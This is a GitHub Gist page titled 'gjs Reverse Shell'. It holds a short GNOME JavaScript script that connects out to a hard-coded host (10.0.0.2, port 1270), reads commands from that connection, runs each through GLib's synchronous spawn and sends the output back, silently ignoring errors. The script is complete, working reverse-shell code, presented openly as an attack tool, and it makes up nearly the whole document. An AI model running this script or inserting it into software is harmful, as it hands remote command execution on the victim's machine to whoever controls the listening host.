Last active
June 6, 2022 23:37
-
-
Save jbaines-r7/b38e2f949faf4b23a9d8fa3b3dbe2478 to your computer and use it in GitHub Desktop.
gjs Reverse Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // gjs shell.js | |
| const Gio = imports.gi.Gio; | |
| const GLib = imports.gi.GLib; | |
| try { | |
| let connection = (new Gio.SocketClient()).connect_to_host("10.0.0.2:1270", null, null); | |
| let output = connection.get_output_stream(); | |
| let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() }); | |
| while (true) { | |
| let [cmd, size] = input.read_line(null); | |
| let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd)); | |
| output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null); | |
| } | |
| } catch (e) { | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment